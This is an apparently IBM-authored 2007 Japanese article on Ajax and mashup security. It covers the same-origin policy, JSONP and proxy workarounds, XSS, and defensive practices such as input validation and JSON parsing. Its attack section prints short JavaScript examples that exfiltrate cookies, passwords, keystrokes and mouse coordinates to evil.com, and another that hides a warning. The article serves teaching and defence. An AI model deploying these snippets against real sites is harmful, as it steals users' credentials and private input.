レベル: 中級 Sachiko Yoshihama (sachikoy@jp.ibm.com), Research Staff Member, IBM
Dr. Frederik De Keukelaere (eb41704@jp.ibm.com), Postdoctoral Researcher, IBM
Dr. Michael Steiner (msteiner@watson.ibm.com), Research Staff Member, IBM
Dr. Naohiko Uramoto (uramoto@jp.ibm.com), Research Staff Member, IBM
2007年 6月 19日 Ajax (Asynchronous JavaScript + XML) は Web 2.0 の鍵となる技術です。Ajax を利用すると、ユーザーは Web ブラウザーが行うサーバーとの通信とは別に、Web ページと対話動作を行うことができます。何よりも Ajax によって、複数のコンテンツあるいはサービスを 1 つのユーザー・エクスペリエンスに統合するマッシュアップが促進されます。しかし、動的でマルチドメインという性質を持つ Ajax とマッシュアップ技術によって、新しいタイプの脅威が生じます。この記事では、Ajax 技術に関連する脅威について学び、そうした脅威を回避するためのベスト・プラクティスを見つけましょう。
Ajax は DHTML (Dynamic HTML) 技術の上に構築されており、下記のとても一般的な技術が含まれています。
-
JavaScript: JavaScript はクライアント・サイドの Web アプリケーションに一般的に使われるスクリプト言語です。
-
DOM (Document Object Model): DOM は HTML 文書または XML 文書を表示するための標準のオブジェクト・モデルです。今日の大部分のブラウザーは、DOM をサポートしており、また JavaScript コードを使って動的に HTML コンテンツを読み取って変更することが可能になっています。
-
CSS (Cascading Style Sheets): CSS は HTML 文書の表示に関する記述をするために使われるスタイルシート言語です。JavaScript は実行時にスタイルシートを変更できるため、Web ページの表示を動的に更新することができます。
Ajax では、クライアント・サイドの JavaScript は、DOM ツリーとスタイルシートを動的に変更することで Web ページの表示を更新します。また、下記の技術によって実現される非同期通信によって、Web ページ全体をリロードせずにデータを動的に更新することができます。
-
XMLHttpRequest
: XMLHttpRequest は、クライアント・サイドの JavaScript がリモート・サーバーに HTTP で接続し、データ (例えばプレーン・テキストや XML、あるいは JSON (JavaScript Serialized Object Notation) など) を交換できるようにするための API です。
-
JSON: JSON は、RFC (Request for Comments) 4627 で提案されているとおり、軽量でテキスト・ベースの、言語に依存しないデータ交換フォーマットです。JSON は ECMAScript 言語のサブセットに基づいており (そのため JSON は JavaScript 言語の一部です)、構造化データを移植可能な形式で表現するための、フォーマット・ルールの小セットを定義しています。
Ajax アプリケーションでは、JSON の他にも一般的に使われているフォーマットがあることに注意してください (例えば XML やフォーマットのないプレーン・テキストなど)。ここでは JSON について説明しますが、これは JSON が、この記事の後の方で説明するセキュリティーに関係するためです。
Ajax になじみがない人は、「参考文献」にあげた記事を読むようにお勧めします。
同一生成元ポリシーを理解する
複数の生成元からのコンテンツを何らかの方法で 1 つのアプリケーションに統合する場合、一部のコンテンツは他のコンテンツとは異なる信頼レベルを持っていたり、あるいはコンテンツ同士が必ずしも互いのコンテンツを信頼していなかったりする可能性があります。当然の要求として、コンテンツ同士の干渉を最小限にとどめるために、生成元が異なるコンテンツ同士を分離する必要があります。
同一生成元ポリシーは現在のブラウザーの保護機構の一部であり、ドメインが生成元を表すという前提の下に、異なるドメインからの Web アプリケーションを分離します。つまり、もし複数のウィンドウあるいはフレームのアプリケーションが異なるサーバーからダウンロードされたものだとすると、それぞれのアプリケーションは、お互いのデータやスクリプトにアクセスすることができません。また、同一生成元ポリシーは HTML 文書にしか適用されないことに注意してください。<script src="..." > タグによって HTML 文書にインポートされた JavaScript ファイルは、その HTML 文書と同じ生成元の一部とみなされます。このポリシーは、主なブラウザー実装のすべてに実装されています。
XMLHttpRequest の観点からは、同一生成元ポリシーはアプリケーションがリモート・サーバーとの間で行う対話動作をコントロールするためのものです。しかし同一生成元ポリシーは、Web 2.0 アプリケーションには限定的な影響しか及ぼしません。その理由は次の通りです。
-
同一生成元ポリシーは、さまざまな方法で回避することができます。こうした方法のいくつかを、この記事の後の方で説明します。
-
Web 2.0 アプリケーションの大きな特徴は、ユーザーがコンテンツに貢献することです。つまり、コンテンツは通常、信頼できるサービスから提供されるのではなく、多くの場合はブログやウィキなどによって匿名ユーザーから提供されます。従って、たとえ 1 つのサーバーからのコンテンツであっても、実際には複数のソースから提供されている可能性があります。
-
同一生成元ポリシーを実施するブラウザーは、サーバーのドメイン名をストリング・リテラルとしてチェックします。例えば http://www.abc.com/ と http://12.34.56.78/ は、たとえ www.abc.com の IP アドレスが実際に 12.34.56.78 であっても、異なるドメインとして扱われます。また、URL のパス式はすべて無視されます。例えば、http://www.abc.com/~alice は http://www.abc.com/~malroy と同じ生成元とみなされ、両方のディレクトリーがおそらく異なるユーザーに属するという事実は無視されます。
-
大部分の Web ブラウザーでは、Web アプリケーションはそのドメイン定義をアプリケーション自体のスーパー・ドメインにまで緩めることができます。例えば、もしアプリケーションが www.abc.com からダウンロードされたとすると、そのアプリケーションは
document.domain プロパティーを abc.com あるいは単なる com にオーバーライドすることができます (Firefox の場合)。最新のブラウザーの大部分は、document.domain プロパティーを同じ値にオーバーライドしたウィンドウあるいはフレームの間でのウィンドウ・オブジェクトへのアクセスしか許可しません。しかし一部の古いバージョンのブラウザーは、document.domain プロパティーで指定されたドメインへの XMLHttpRequest 接続を許可します。
-
たとえ Web サーバーが信頼できるドメインにあるとしても、その Web サーバーは、特に Web 2.0 の観点からすると、そのコンテンツの生成元ではないかもしれません。例えば、企業のポータル・サーバーや Web ベースのメール・サーバー、あるいはウィキは信頼できるかもしれませんが、それらがホストするコンテンツは、悪意が潜むサード・パーティーからの入力を含んでいるかもしれません。これはクロスサイト・スクリプティング (XSS) 攻撃のターゲットになる可能性があります (XSS については後ほど説明します)。従ってサーバーのドメインを信頼できても、そのコンテンツが信頼できるものであることを表しているわけではありません。
同一生成元ポリシーを回避する: JSON と動的スクリプト・タグを使う
JSON は、括弧で囲まれた単純な構造を持つ、単なるプレーン・テキストなので、多くのチャネルが JSON メッセージを交換することができます。しかし、同一生成元ポリシーがあるため、外部サーバーと通信する際に XMLHttpRequest を使うことができません。JSONP (JSON with Padding) は、JSON を <script> タグと組み合わせて使うことで同一生成元ポリシーを回避するための方法です ( リスト 1)。
リスト 1. JSON の例
<script type="text/javascript"
src="http://travel.com/findItinerary?username=sachiko&
reservationNum=1234&output=json&callback=showItinerary" />
|
JavaScript コードが動的に <script> タグを挿入する場合には、ブラウザーは src 属性の中の URL にアクセスします。その結果、クエリー・ストリングの情報をサーバーに送信することになります。リスト 1 では、username と reservation は名前と値のペアとして渡されます。また、クエリー・ストリングは、サーバーに要求するための出力フォーマットと、コールバック関数 (つまり showItinerary) の名前を含みます。<script> タグがロードされると、このコールバック関数が実行され、サーバーから返された情報は、(この関数の引数によって) この関数に渡されます。
同一生成元ポリシーを回避する: Ajax プロキシーを使う
Ajax プロキシーは、Web ブラウザーとサーバーとの間での HTTP リクエストとレスポンスを仲介する、アプリケーション・レベルのプロキシー・サーバーです。Ajax プロキシーを使うことで、Web ブラウザーは同一生成元ポリシーを回避することができ、従って XMLHttpRequest を使ってサード・パーティーのサーバーにアクセすることができます。この回避策を実現する方法として、次の 2 つのうちの 1 つを選択することができます。
- クライアント・サイドの Web アプリケーションはサード・パーティーの URL を認識しており、この URL を HTTP リクエストのリクエスト・パラメーターとして Ajax プロキシーに渡します。そうすると Ajax プロキシーは、このリクエストを www.remoteservice.com に転送します。Web アプリケーション開発者が使用する Ajax ライブラリーの実装の中でプロキシー・サーバーを使っていることを隠せることに注意してください。Web アプリケーションの開発者から見ると、同一生成元ポリシーがまったくないように見えるかもしれません。
- クライアント・サイドの Web アプリケーションはサード・パーティーの URL を認識しておらず、Ajax プロキシー・サーバーのリソースに HTTP でアクセスしようとします。事前定義されたエンコーディング・ルールによって、Ajax プロキシーは要求された URL をサード・パーティーのサーバーの URL に変換し、そしてクライアントに代わってコンテンツを取得します。これは Web アプリケーションの開発者から見ると、プロキシー・サーバーと直接通信しているように見えます。
同一生成元ポリシーを回避する: Greasemonkey を使う
Greasemonkey は Firefox の拡張機能であり、ユーザーはこれを使って Web ページのスタイルとコンテンツをすぐに変更することができます。Greasemonkey を使う場合、ユーザー・スクリプト・ファイルを URL セットと関連付けることができます。これらのスクリプトが実行されるのは、ブラウザーが、あるページを URL セットからロードする時です。Greasemonkey はユーザー・スクリプトに対して API を提供しています。これらの API は、(ブラウザーのサンドボックスで実行するスクリプトのパーミッションと比べると) パーミッションが追加されています。
そうした API の 1 つが GM_XMLHttpRequestです。これは基本的に、同一生成元ポリシーを持たない XMLHttpRequest です。ユーザー・スクリプトはブラウザーに組み込みの XMLHttpRequest を GM_XMLHttpRequestでオーバーライドし、クロスドメインのアクセス許可を XMLHttpRequest に与えます。
GM_XMLHttpRequestの使用に関しては、ユーザーによる同意でしか保護されていません。つまり Greasemonkey は、新しいユーザー・スクリプトを特定の URL セットに関連付ける際にしかユーザーに確認を要求しません。しかし容易に想像できることですが、一部のユーザーは、これをインストールした結果どうなるかを完全に理解せずに、だまされてこのインストールを受け入れてしまうかもしれません。
攻撃のシナリオを検証する
開発者が同一生成元ポリシーを回避する結果、悪意のあるユーザーの攻撃を受けやすくなります。それだけではなく、現在動作しているアプリケーションも、悪意のあるコードが Web アプリケーションに挿入されると攻撃を受けやすくなります。残念なことに、悪意のあるコードはさまざまな方法で Web アプリケーションに入り込みます。ここでは、そうした経路として考えられる 2 つを簡単に説明します。これらの経路は Web 2.0 の観点からすると、一層重要になりつつあります。
クロスサイト・スクリプティング (XSS)
XSS は、攻撃者が本来は無害なサイトに悪意のあるコード片を送り込む、一般的な攻撃です。XSS 攻撃には基本的に次の 2 つのタイプがあります。
- 折り返し型 XSS (Reflected XSS)
- 蓄積型 XSS (Stored XSS)
折り返し型 XSS 攻撃は、アクティブなコンテンツが中に含まれるかどうかをチェックせずに入力パラメーターをブラウザーに表示してしまう、脆弱な Web アプリケーションを悪用します。通常、攻撃者は、犠牲者が URL をクリックするように誘います (リスト 2)。
リスト 2. 折り返し型 XSS の URL の例
http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie="
+ document.cookie; </script>
|
ここで、trusted.com がホストするサービスが、入力されたキーワードと共に検索結果をポストする検索機能を持つと想定してください。もし検索アプリケーションが URL 中の特殊文字 (例えば < や > などの記号) をフィルターしないとすると、<script>タグの内容もユーザーの Web ページに挿入されてしまい、その結果、<script> タグの内容が、そのドキュメント・クッキーをリモート・サーバー evil.com に送信します。
蓄積型 XSS 攻撃は、Web 2.0 の普及と共に、より重要になりました。Web 2.0 の鍵は、共有と対話動作、そして人々の連携です。そのためユーザーは、ソーシャル・ネットワーキング・サービス (SNS) やウィキ、ブログなどのサービスを通して、他の (潜在的に悪意のある) ユーザーの入力を見る機会が多くなります。
いずれの場合も、XSS 攻撃を防ぐためには、入力値の検証とサニタイズが重要です。通常、Web サーバーはユーザーの入力からスクリプトを除去します。しかし多くの場合、攻撃者は脆弱性を悪用してこれらのフィルターをすり抜け、結果として Yamanner ワームや MySpace ワームなどの重大な攻撃を行います。
マッシュアップ
マッシュアップ・アプリケーションは、複数のソースからのコンテンツとサービスを組み合わせ、1 つのユーザー・エクスペリエンスに統合した Web アプリケーションです。典型的なマッシュアップ・アプリケーションは、単一のクライアント・サイド・アプリケーションに統合されます。そのため、そのマッシュアップのさまざまな部分が、いくつかのブラウザー・リソース (DOM ツリーあるいはブラウザーのウィンドウ・プロパティーなど) を通じて情報を共有し、対話動作を行うことができます。もしマッシュアップの一部が悪意の下に作成されると (あるいはハッキングされると)、その部分はアプリケーションに悪意のコードを送り込むことができてしまいます。そうすると (XSS と同じように)、ユーザー機密情報の盗難など、あらゆるタイプの攻撃が起こる可能性があります。
攻撃の効果を理解する
攻撃者が彼らのコードをアプリケーションに送り込む方法は理解できたので、今度は一般的な攻撃の結果がどうなるのかを調べましょう。
クッキーやパスワードを盗む
攻撃者にとって最も直接的な利益は、ユーザーの機密情報 (パスワードやクッキーなど) を得ることです。送り込まれたスクリプトは、DOM ツリーの任意の部分にアクセスできるため、何よりもログイン・フォームのテキスト・フィールドからパスワード情報を盗みます。例えばリスト 3 は、情報を盗み、それを攻撃者のサーバーに送信するコードを示しています。
リスト 3. 攻撃の例: テキスト・フィールドからパスワードを盗む
function stealpw(){
var pw = document.getElementById("password").value;
document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;
|
この例では、攻撃者は、ユーザーのデータを受信するには、ユーザーが送信ボタンをクリックするまで待つ必要があります。Ajax によって、攻撃者の仕事はさらに楽になります。なぜなら Ajax では、明示的なユーザー・アクション (ボタンを押す、リンクをクリックする、など) を待たなくても任意の情報をリモート・サーバーに送信できるからです。この種のトラフィックは通常は怪しい動作と見なされますが、Ajax アプリケーションの持つ非同期的な性質のため、このトラフィックは通常は検出されません。
攻撃者は同じような方法を使って、機密 Web アプリケーション (オンライン・バンキング・アプリケーションなど) のドキュメント・クッキーを盗むこともできます。ドキュメント・クッキーを利用すると、攻撃者はセッションをハイジャックしたり、あるいは盗んだクレデンシャルを使ってログインしたりできてしまいます。
Microsoft® Internet Explorer® 6 以降では、クライアント・サイド・スクリプトがドキュメント・クッキーにアクセスするのを防止する HttpOnly クッキーがサポートされていることに注意してください。しかし、大部分の Web アプリケーションはブラウザーの実装に頼ることはできないため、これによって状況が改善されることはありません。
キー・ロガーを使ってキーボード・イベントを盗む
リスト 4 は、キー・ロガーの単純な例を示しています。このキー・ロガーは Web ページからキーボード・イベントを盗み、それをリモート・サーバーに送信します。キー・ロガーによって、攻撃者は任意のユーザー入力をハイジャックすることができます。例えば、もしユーザーが Web ベースの E メール・サービスを使っている場合、キー・ロガーはすべてのテキスト入力を記録し、それを攻撃者に送信します。そして攻撃者は記録されたデータを分析し、パスワードや機密メッセージなどの機密情報を取得します。
リスト 4. 攻撃の例: キー・ロガーを使う
function keylogger(e){
document.images[0].src = "http://evil.com/logger?key="
+ e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);
|
マウス・スニファーを使ってキーボード・イベントを盗む
オンライン・バンキング・サービスへのログイン用の PIN コードなど、機密入力に対するキー・ロガー攻撃を防ぐために、ソフト・キーパッドが一般的な方法になりつつあります。しかしマウス・スニファーは、キー・ロガーに使われる方法と似た方法を使います。マウス・イベントの X 座標と Y 座標を盗むことで、キーパッドのどのキーがクリックされたかを推定することができます。リスト 5 は単純なマウス・スニファーの例を示しています。
リスト 5. 攻撃の例: マウス・スニファーを使う
function sniffer(e){
document.images[0].src= "http://evil.com/imgs/sniffer?x="
+ e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);
|
誤った情報を挿入する
DOM インターフェースを使うと、攻撃者は DOM ツリーの任意の情報を変更することができます。例えばユーザーがオンライン送金を行う際に、攻撃者が送金先の口座を攻撃者の口座に変更することができます。その結果、送金された資金は攻撃者の口座に預け入れされてしまいます。
別のタイプの攻撃では、攻撃者はスタイルシートを変更し、ユーザーに情報が見えないように隠すかもしれません。例えば、ある Web ページに警告メッセージが含まれていると考えてください (リスト6)。
リスト 6. 警告メッセージ
...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to
potentially malicious Web pages, so be careful. </div>
...
|
攻撃者はスタイルシートを変更して警告を削除するかもしれません。例えばリスト 7 は、警告のスタイルを変更し、白い背景で見えなくする JavaScript コードを示しています。
リスト 7. 攻撃の例: 警告を削除する
var e = document.getElementById("warning");
e.style.color= "white";
|
推奨されるベスト・プラクティス
攻撃がどのように行われ、その結果どうなるかの基本的な知識は得られたので、今度は Ajax アプリケーションのセキュリティーを改善するために適用可能な方法をいくつか簡単に見てみましょう。
入力値のチェックを追加する
XSS の例で見たように、大部分の攻撃は、悪意のあるスクリプトを送り込むことでサーバー・サイドの脆弱性を悪用します。従って、入力の検証は Web アプリケーションを保護するための第一歩です。入力検証とサニタイズによって、信頼できない入力からの、アクティブな動作をする可能性のあるコンテンツや悪意のあるコンテンツのすべてをフィルターすることができます。
入力検証には次の 2 つのタイプがあります。
-
ブラックリスト: この方法では、ブラックリストのすべての文字は入力から取り除かれます。ブラックリストの最大の課題は、危険な文字のすべてがリストされていることを保証することです。可能性のあるすべての入力組み合わせを予測することは不可能なため、ブラックリストでは正しい検証ができないことがよくあります。
-
ホワイトリスト: これは逆に、許容されるすべての文字をリストし、それ以外の全ての文字を入力から削除します。ホワイトリストの大きな課題は、できるだけリストを小さく保つ一方で、Web アプリケーションに必要な種類の入力を許容できるだけの十分な柔軟性を提供することです。
ブラックリスト、あるいはホワイトリストを、絶対安全なソリューションと見なすことはできません。しかし一般的には、ホワイトリストの方が、よりセキュアなオプションと考えられています。従って、潜在的な危険をはらむ入力をクリーンアップするためには、ホワイトリストを使うことが推奨されます。
ブラウザーに送信したり表示したりするストリングの中の特殊文字をエスケープする方法 (例えば < 記号を < に変えるなど) は、セキュリティーを改善するための、もう 1 つの方法です。一部のプログラミング言語には、特殊文字をエスケープするための便利な機能が組み込まれています。
脆弱性チェック・ツールを使う
アプリケーションの中に似たようなタイプのプログラミング・エラーがあることで、多くの Web アプリケーションが脆弱になります。そのため、セキュリティーの専門家が、こうしたセキュアではないプログラミングの慣習を検出するためのツールを開発しています。そうしたツールは脆弱性チェック・ツールと呼ばれ、潜在的な脆弱性を事前に検出します。このようなツールで検出される最も一般的な脆弱性は、プログラマーが、悪意が潜んでいる可能性のある入力に対するサニタイズ・ルーチンを呼び出すのを忘れた場合の脆弱性です。
コードを動的に生成せず、また動的に実行しない
JavaScript プログラムでは、いくつかの方法を使ってコードを動的に生成することができます。最もよく知られている関数の 1 つが、任意のストリングを JavaScript コードとして実行できる eval() 関数です。しかし、この関数を注意せずに使うのは非常に危険です。絶対に必要な場合以外、動的に生成されたコードを使うことは避けるべきです。残念なことに、広く使われているいくつかの JavaScript ライブラリーは、内部で eval() 関数を使っています。
JSON の使い方をセキュアにする
JSON は JavaScript のサブセットに基づいているため、スクリプト・コンテンツであり、従って潜在的に悪意のあるコードを含む可能性があります。しかし JSON は、割り当てと呼び出しを排除した、JavaScript の安全なサブセットです。従って多くの JavaScript ライブラリーは、単純に eval() 関数を使って JSON を JavaScript オブジェクトに変換します。攻撃者はこれを悪用し、誤った形式の JSON オブジェクトをこれらのライブラリーに送信します。そして eval() 関数が悪意のあるコードを実行します。JSON をセキュアに使用するためには、いくつかの方法があります。最初の方法は、JSON データがアクティブな部分を含まないように、RFC 4627 で定義された正規表現を使う方法です。リスト 8 は、正規表現を使って JSON ストリングをチェックする方法を示しています。
リスト 8. 正規表現で JSON ストリングをチェックする
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
eval('(' + text + ')');
|
もっとセキュアな方法としては、JSON パーサーを使って JSON データを構文解析します。JSON の文法は非常に単純なので、そうしたパーサーは容易に実装することができ、それによって目立ったパフォーマンス低下が生ずることはありません。
信頼できないコンテンツを統合する際には <iframe> を使う
同一生成元ポリシーを利用すると、攻撃者が完全な DOM ツリーにアクセスするのを困難にすることができます。異なるドメインからのデータを <iframe> にロードする際には、そのデータに独自の JavaScript 実行コンテキストと DOM ツリーを与えます。これによって、攻撃者がメイン・ページから情報を盗むのを防ぐことができます。信頼できない外部コンテンツを制限するために、できるだけ <iframe> を使うことが良いプラクティスと言えます。
まとめ
この記事では、Web 2.0 アプリケーションが同一生成元ポリシーを回避するための、さまざまな方法の概要を説明しました。また、それによって、新たな攻撃を受ける余地が Web アプリケーションに生ずることを説明しました。そして、いくつかの一般的な攻撃のタイプと、攻撃者が得る結果について説明しました。最後に結論として、最も一般的な攻撃を回避するために使用できるベスト・プラクティスを短いセクションにまとめました。
参考文献 学ぶために
製品や技術を入手するために
議論するために
著者について  | 
| | 吉濵佐知子は日本の神奈川県大和市にある IBM 東京基礎研究所 (Tokyo Research Laboratory) のセキュリティーとプライバシー部門の研究者です。研究対象は Web 2.0 のセキュリティーと情報フロー・コントロール、trusted computing などです。 |
| 
| | Frederik De Keukelaere は IBM の東京基礎研究所の、博士課程終了後の研究者です。彼は東京基礎研究所に所属する前は MPEG コミュニティーで活躍しており、いくつかの MPEG-21 標準の貢献者でありエディターでもありました。東京基礎研究所では Web 2.0 のセキュリティーの向上に取り組んでいます。彼はベルギーの Ghent University でコンピューター・サイエンス工学の博士号を取得しています。 |
| 
| | Michael Steiner は IBM T.J. Watson Research Center の研究スタッフ・メンバーです。彼の研究対象は分散システムでの暗号方式とセキュリティーです。彼はドイツの Saarland University でコンピューター・サイエンスの博士号を取得しています。 |
| 
| | 浦本直彦は九州大学でコンピューター・サイエンスの修士号を取得後、1990年に IBM の東京基礎研究所に入社しました。彼は 2000年に九州大学でコンピューター・サイエンスの博士号を取得しました。また 2000年から 2005年まで国立情報学研究所 (National Institute of Informatics) の客員助教授でした。現在は Web サービスのセキュリティーと Web 2.0 のセキュリティーに関するプロジェクトのリーダーです。 |
記事の評価
| 
